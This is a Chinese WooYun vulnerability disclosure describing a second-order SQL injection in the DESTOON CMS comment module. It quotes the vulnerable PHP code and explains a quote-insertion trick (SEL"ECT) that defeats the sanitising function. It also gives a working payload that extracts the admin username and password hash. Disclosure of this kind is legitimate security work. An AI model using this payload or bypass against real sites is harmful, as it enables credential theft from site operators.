当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(53) 关注此漏洞

缺陷编号: WooYun-2015-129090

漏洞标题: DESTOON sql注入漏洞

相关厂商: DESTOON

漏洞作者: Noxxx

提交时间: 2015-07-27 12:00

公开时间: 2015-10-25 12:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-07-30: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-20: 细节向核心白帽子及相关领域专家公开
2015-09-30: 细节向普通白帽子公开
2015-10-10: 细节向实习白帽子公开
2015-10-25: 细节向公众公开

简要描述:

DESTOON sql注入漏洞

详细说明:

一枚二次注入,因为使用了dhtmlspecialchars导致防注入失效。可以任意数据。



先来看留言模块:

\module\extend\comment.inc.php

code 区域
$item = $db->get_one("SELECT title,linkurl,username,status FROM ".get_table($mid)." WHERE itemid=$itemid"); //从数据库中取出对于模块的发布数据
$item or exit;
$item['status'] > 2 or exit;
$linkurl = $MODULE[$mid]['linkurl'].$item['linkurl'];

$template = $message = $forward = '';
$username = $item['username'];
$title = $item['title']; //看这里 我们这个标题是可以控制的 而且没有转义。 再看看下面 $title有没有被带入数据库中。
$could_del = false;



在这个文件的130行有这样一句



code 区域
$db->query("INSERT INTO {$DT_PRE}comment (item_mid,item_id,item_title,item_username,content,quotation,qid,addtime,username,hidden,star,ip,status) VALUES ('$mid','$itemid','$title','$username','$content','$quotation','$qid','$DT_TIME','$_username','$hidden','$star','$DT_IP','$status')"); 看见没有 $title被带入数据库中。但是有一点.item_username 接着title的后面,这个用户名基本不可控制,但是如果他item_username 为空的话那就可以了,这个发布的东西是允许游客发送的 所以在游客状态下 item_username 就为空,后面的$content我们又刚好可以控制。所以导致了注入的发生。





接下来就是要绕过防注入了..

看这个文件的第95行导致防注入函数失效。

$content = dhtmlspecialchars(trim($content));



code 区域
function dhtmlspecialchars($string) {
if(is_array($string)) {
return array_map('dhtmlspecialchars', $string);
} else {
if(defined('DT_ADMIN')) {
return str_replace(array('&'), array('&'), htmlspecialchars($string, ENT_QUOTES));
} else {
return str_replace(array('&', '"', '"', '"'), array('&', '', '', ''), htmlspecialchars($string, ENT_QUOTES));
}
}
}



看见没有 " " " 分别把这三个替换成空了的.

那我们直接提交 这个 SEL"ECT 即可无限制注射。首先得发布一个东西,名字写的正常一点就可以通过了。

漏洞证明:

发布一个东西,注意了 信息标题最后一个必须为 反斜杠才行。

不能在登录状态发东西,必须为游客状态

url

**.**.**.**:8081/php/destoon/member/my.php?mid=5



QQ截图20150724202540.png





通过之后 我们直接留言 exp:

code 区域
,1,1,(SEL"ECT conc"at(username,0"x7c,password) FR"OM destoon_member WH"ERE admin=1 LIMIT 1),1,1,1,1,1,1,3)#





QQ截图20150724202711.png



QQ截图20150724202718.png

修复方案:

对数据进行处理,并且修改一下htmlspecialchars函数

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 12:09

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-07-27 12:02 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:89 )
    0

    厉害 !!!

  2. 2015-07-27 12:07 | 刘海哥 ( 普通白帽子 | Rank:135 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)
    0

    必须看看!

  3. 2015-07-27 13:24 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:60 | baozisec)
    0

    给师傅跪了

登录后才能发表评论,请先 登录